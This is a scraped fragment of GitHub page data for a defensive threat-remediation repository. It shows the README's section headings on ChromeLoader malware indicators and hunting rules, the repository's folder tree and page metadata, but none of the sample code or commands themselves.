\n","errorMessage":null,"headerInfo":{"toc":[{"level":1,"text":"Observed malicious IOCs for the ChromeLoader/CS_installer aka Choziosi Loader Malware","anchor":"observed-malicious-iocs-for-the-chromeloadercs_installer-aka-choziosi-loader-malware","htmlText":"Observed malicious IOCs for the ChromeLoader/CS_installer aka Choziosi Loader Malware"},{"level":3,"text":"CrowdStrike Query to hunt for ChromeLoader","anchor":"crowdstrike-query-to-hunt-for-chromeloader","htmlText":"CrowdStrike Query to hunt for ChromeLoader"},{"level":3,"text":"Sigma Rule for ChromeLoader available (Thanks to Twitter User @Kostastsale)","anchor":"sigma-rule-for-chromeloader-available-thanks-to-twitter-user-kostastsale","htmlText":"Sigma Rule for ChromeLoader available (Thanks to Twitter User @Kostastsale)"},{"level":3,"text":"Date of first occurrence","anchor":"date-of-first-occurrence","htmlText":"Date of first occurrence"},{"level":3,"text":"Description:","anchor":"description","htmlText":"Description:"},{"level":3,"text":"Sample Analysis","anchor":"sample-analysis","htmlText":"Sample Analysis"},{"level":3,"text":"Domains Observed","anchor":"domains-observed","htmlText":"Domains Observed"},{"level":3,"text":"Malicious ISO","anchor":"malicious-iso","htmlText":"Malicious ISO"},{"level":3,"text":"CS_installers","anchor":"cs_installers","htmlText":"CS_installers"},{"level":3,"text":"Additional CS_installer.exe hashes added 01-24-2022","anchor":"additional-cs_installerexe-hashes-added-01-24-2022","htmlText":"Additional CS_installer.exe hashes added 01-24-2022"},{"level":3,"text":"Observed behavior","anchor":"observed-behavior","htmlText":"Observed behavior"},{"level":3,"text":"Scheduled Task","anchor":"scheduled-task","htmlText":"Scheduled Task"},{"level":3,"text":"Retrieving ChromeLoader Scheduled Tasks using PowerShell","anchor":"retrieving-chromeloader-scheduled-tasks-using-powershell","htmlText":"Retrieving ChromeLoader Scheduled Tasks using PowerShell"},{"level":3,"text":"Scheduled Task Location# 1","anchor":"scheduled-task-location-1","htmlText":"Scheduled Task Location# 1"},{"level":3,"text":"Contents of the scheduled task","anchor":"contents-of-the-scheduled-task","htmlText":"Contents of the scheduled task"},{"level":3,"text":"Scheduled Task Location# 2","anchor":"scheduled-task-location-2","htmlText":"Scheduled Task Location# 2"},{"level":3,"text":"Contents of the registry key","anchor":"contents-of-the-registry-key","htmlText":"Contents of the registry key"},{"level":3,"text":"Scheduled Task Location# 3","anchor":"scheduled-task-location-3","htmlText":"Scheduled Task Location# 3"},{"level":3,"text":"Contents of the registry key {X-X-X-X-X}","anchor":"contents-of-the-registry-key-x-x-x-x-x","htmlText":"Contents of the registry key {X-X-X-X-X}"},{"level":3,"text":"Snippet of base64 decoded powershell script","anchor":"snippet-of-base64-decoded-powershell-script","htmlText":"Snippet of base64 decoded powershell script"},{"level":3,"text":"Dropped Extension location","anchor":"dropped-extension-

location","htmlText":"Dropped Extension location"},{"level":3,"text":"Malicious Extension","anchor":"malicious-extension","htmlText":"Malicious Extension"},{"level":3,"text":"Sample Extension Configuration","anchor":"sample-extension-configuration","htmlText":"Sample Extension Configuration"},{"level":3,"text":"Obfuscated Javascript background.js (truncated)","anchor":"obfuscated-javascript-backgroundjs-truncated","htmlText":"Obfuscated Javascript background.js (truncated)"},{"level":3,"text":"Raw Obfuscated javascript sample","anchor":"raw-obfuscated-javascript-sample","htmlText":"Raw Obfuscated javascript sample"},{"level":3,"text":"Deobfuscated Javascript background.js provided by Twitter user @struppigel https://twitter.com/struppigel","anchor":"deobfuscated-javascript-backgroundjs-provided-by-twitter-user-struppigel-httpstwittercomstruppigel","htmlText":"Deobfuscated Javascript background.js provided by Twitter user @struppigel https://twitter.com/struppigel"}],"siteNavLoginPath":"/login?return_to=https%3A%2F%2Fgithub.com%2Fxephora%2FThreat-Remediation-Scripts%2Ftree%2Fmain%2FThreat-Track%2FCS_INSTALLER"}},"totalCount":4,"showBranchInfobar":false},"fileTree":{"Threat-Track":{"items":[{"name":"ASyncRAT","path":"Threat-Track/ASyncRAT","contentType":"directory"},{"name":"Bloom_AdwareCampaign","path":"Threat-Track/Bloom_AdwareCampaign","contentType":"directory"},{"name":"CS_INSTALLER","path":"Threat-Track/CS_INSTALLER","contentType":"directory"},{"name":"ChoziosiLoaderII","path":"Threat-Track/ChoziosiLoaderII","contentType":"directory"},{"name":"ChunkiPWS","path":"Threat-Track/ChunkiPWS","contentType":"directory"},{"name":"Mac-ChoziosiLoader","path":"Threat-Track/Mac-ChoziosiLoader","contentType":"directory"},{"name":"NetSupportRAT_version2","path":"Threat-Track/NetSupportRAT_version2","contentType":"directory"},{"name":"PyMal","path":"Threat-Track/PyMal","contentType":"directory"},{"name":"Redline","path":"Threat-Track/Redline","contentType":"directory"},{"name":"SOCGolish","path":"Threat-Track/SOCGolish","contentType":"directory"},{"name":"Scam_Campaign","path":"Threat-Track/Scam_Campaign","contentType":"directory"},{"name":"Solarmarker Backdoor","path":"Threat-Track/Solarmarker Backdoor","contentType":"directory"},{"name":"gootloader","path":"Threat-Track/gootloader","contentType":"directory"},{"name":"guloader","path":"Threat-Track/guloader","contentType":"directory"},{"name":"nanocore","path":"Threat-Track/nanocore","contentType":"directory"},{"name":"CVE-2022-1388-check.py","path":"Threat-Track/CVE-2022-1388-check.py","contentType":"file"},{"name":"Spring4shell_scanner_win.ps1","path":"Threat-Track/Spring4shell_scanner_win.ps1","contentType":"file"}],"totalCount":17},"":{"items":[{"name":"123Movies","path":"123Movies","contentType":"directory"},{"name":"39bar","path":"39bar","contentType":"directory"},{"name":"AppMaster","path":"AppMaster","contentType":"directory"},{"name":"AppRun","path":"AppRun","contentType":"directory"},{"name":"AskPartnerNetwork","path":"AskPartnerNetwork","contentType":"directory"},{"name":"BBSK(SecureBrowser)","path":"BBSK(SecureBrowser)","contentType":"directory"},{"name":"Bloom","path":"Bloom","contentType":"directory"},{"name":"BrightTramp","path":"BrightTramp","contentType":"directory"},{"name":"BrowserAssistant","path":"BrowserAssistant","contentType":"directory"},{"name":"ByteFence","path":"ByteFence","contentType":"directory"},{"name":"Cash","path":"Cash","contentType":"directory"},{"name":"Clear","path":"Clear","contentType":"directory"},{"name":"Clearbar","path":"Clearbar","contentType":"directory"},{"name":"CrowdStrike","path":"CrowdStrike","contentType":"directory"},{"name":"DSOne Agent","path":"DSOne Agent","contentType":"directory"},{"name":"Detection-Scripts","path":"Detection-Scripts","contentType":"directory"},{"name":"DriverSupportAOsvc","path":"DriverSupportAOsvc","contentType":"directory"},{"name":"DriverTonic","path":"DriverTonic","contentType":"directory"},{"name":"Editor","path":"Editor","contentType":"directory"},{"name":"ElevenClock","path":"ElevenClock","contentType":"directory"},{"name":"Energy","path":"Energy","contentType":"directory"},{"name":"Framework","path":"Framework","contentType":"directory"},{"name":"Gallery","path":"Gallery","contentType":"directory"},{"name":"GameCenter","path":"GameCenter","contentType":"directory"},{"name":"Headlines","path":"Headlines","contentType":"directory"},{"name":"Healthy","path":"Healthy","contentType":"directory"},{"name":"IBuddy","path":"IBuddy","contentType":"directory"},{"name":"LiteBrowser","path":"LiteBrowser","contentType":"directory"},{"name":"Manual_Scripts","path":"Manual_Scripts","contentType":"directory"},{"name":"Misc","path":"Misc","contentType":"directory"},{"name":"Music","path":"Music","contentType":"directory"},{"name":"OneLaunch","path":"OneLaunch","contentType":"directory"},{"name":"Ouroborosbrowser","path":"Ouroborosbrowser","contentType":"directory"},{"name":"PCAcceleratePro","path":"PCAcceleratePro","contentType":"directory"},{"name":"PCAppStore","path":"PCAppStore","contentType":"directory"},{"name":"PCHelpSoftDriverUpdater","path":"PCHelpSoftDriverUpdater","contentType":"directory"},{"name":"PC_Cleaner","path":"PC_Cleaner","contentType":"directory"},{"name":"PDFunk","path":"PDFunk","contentType":"directory"},{"name":"Player","path":"Player","contentType":"directory"},{"name":"Prime","path":"Prime","contentType":"directory"},{"name":"Restoro","path":"Restoro","contentType":"directory"},{"name":"SlimCleaner","path":"SlimCleaner","contentType":"directory"},{"name":"Strength","path":"Strength","contentType":"directory"},{"name":"Taskbarsystem","path":"Taskbarsystem","contentType":"directory"},{"name":"Threat-Track","path":"Threat-Track","contentType":"directory"},{"name":"Tone","path":"Tone","contentType":"directory"},{"name":"Walliant","path":"Walliant","contentType":"directory"},{"name":"WaveBrowser","path":"WaveBrowser","contentType":"directory"},{"name":"WebDiscoverBrowser","path":"WebDiscoverBrowser","contentType":"directory"},{"name":"Wellness","path":"Wellness","contentType":"directory"},{"name":"XMRig","path":"XMRig","contentType":"directory"},{"name":"flbmusic","path":"flbmusic","contentType":"directory"},{"name":"leading","path":"leading","contentType":"directory"},{"name":"streaming","path":"streaming","contentType":"directory"},{"name":"streamlink-twitch-gui","path":"streamlink-twitch-gui","contentType":"directory"},{"name":"README.md","path":"README.md","contentType":"file"}],"totalCount":56}},"fileTreeProcessingTime":13.13289,"foldersToFetch":[],"treeExpanded":true,"symbolsExpanded":false,"csrf_tokens":{"/xephora/Threat-Remediation-Scripts/branches":{"post":"2jm9b-Blcmtjwt Yg-6FxLDbU-XZc4UNhiTRuCyNtsE04gck5vCRY680-K_gHPgG__00CiTpkUHvKMhZSo2mqmw"},"/xephora/Threat-Remediation-Scripts/branches/fetch_and_merge/main":{"post":"ETOxvvB6SuTNJLs9Div_DTFrW0CSOv13v_KAhDkNlJkQZZ3EfRS8_eWQVkXrUhJDLITS14itDyN9vBa9VRV7pQ"},"/xephora/Threat-Remediation-Scripts/branches/fetch_and_merge/main?discard_changes=true":{"post":"GZIC6-CeS4CxOjD-

OgR04JvNXn_52van3n0UdjW5_fAYxC6RbfC9mZmO3YbffZmuhiLX6ONNBPMcM4JPWaESzA"}}},"title":"Threat-Remediation-Scripts/Threat-Track/CS_INSTALLER at main · xephora/Threat-Remediation-Scripts"}